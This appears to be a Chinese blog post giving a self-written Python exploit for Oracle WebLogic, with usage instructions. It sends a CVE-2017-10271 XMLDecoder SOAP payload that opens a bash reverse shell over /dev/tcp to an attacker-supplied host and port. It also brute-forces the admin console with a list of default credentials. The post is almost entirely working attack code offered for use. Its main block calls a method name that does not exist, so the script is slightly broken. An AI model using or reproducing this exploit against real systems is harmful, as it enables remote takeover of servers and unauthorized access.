自己写的Weblogic的poc
2024-08-29 12:05:10
"""
暂时只试用于Linux,先试试用一下反弹shell CVE-2017-10271的EXp
"""
import requests
import sys
class Weblogic :
def __init__(self,host,port,url) :
self.url=url
self.host=host
self.port=port
def CVE_2017_10271_Shell(self):
url=self.url+"/wls-wsat/CoordinatorPortType"
port=self.port
host=self.host
header={"Accept":"*/*","Accept-Language":"en","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Content-Type":"text/xml","Connection":"close","Host":self.url.replace("http://","")}
data="""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/{}/{} 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>""".format(self.host,self.port)
Mikasa=requests.post(url,headers=header,data=data)
print("请查看有没有获得Shell!!")
def Shell_Cmd(self) :
pass
def Weak_Password(self):
password=['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','mary']
url=self.url+"/console/j_security_check"
for user in password :
for pwd in password :
data={"j_username":user,"j_password":pwd,"j_character_encoding":"UTF-8"}
test=requests.post(url,data=data,allow_redirects=False,verify=False)
if 'console' in test.text and 'LoginForm.jsp' not in test.text :
print("存在弱口令!!!!")
print("user:"+user+" password:"+pwd)
exit()
if __name__=='__main__' :
exp=Weblogic(sys.argv[3],sys.argv[4],sys.argv[1])
if sys.argv[2]=="CVE_2017_10271_Shell":
exp.Reverse_Shell()
elif sys.argv[2]=="Cmd":
pass
elif sys.argv[2]=="Weak_Password" :
exp.Weak_Password()
else :
print("去屎吧2333333")
print("CVE-2018-2628以及CVE-2018-2894也要去试试看,自己暂时还写不出这两个的exp")
使用方法:
反弹shell : python3 exp.py http://xxxx:7001/ CVE_2017_10271_Shell host port(后面的是你自己反弹Shell的主机ip以及端口)
Weak密码检测: python3 exp.py http://xxxx:7001/ Weak_Password xxx xxx (因为用的是类的构造函数整的,所以在进行其他方面的测试的时候会导致后面多一些东西,填任意的即可QAQ)
最新文章
- linux杀死jobs的正确方法
- PullToRefreshGridView刷新加载
- {part2}DFN+LOW(tarjan)割边
- POJ 1151 Atlantis(经典的线段树扫描线,求矩阵面积并)
- Jqgrid入门-Jqgrid列数据拖动(七)
- Fedora安装
- iOS 开发者必不可少的 75 个工具
- mongoose 连接数据库操作
- Tarjan求有向图强连通详解
- 如何解析超长的protobuf zhuan
- Comparison of Static Code Analysis Tools for Java
- tensorflow 笔记11:tf.nn.dropout() 的使用
- 开发中清除css加载的缓存使用
- javascript 中的==(相等运算符)与===(等同运算符)比较
- 通过NuGet安装和配置ODP.NET(Oracle Data Provider for .NET)
- wepy - 与原生有什么不同($pages,$interceptors)
- [转]ASP.NET MVC 5 - 添加一个模型
- 2016-2017 ACM-ICPC Pacific Northwest Regional Contest (Div. 1) Solution
- Eolinker----全局变量的不同场景使用
- SpringBoot安装和创建简单的Web应用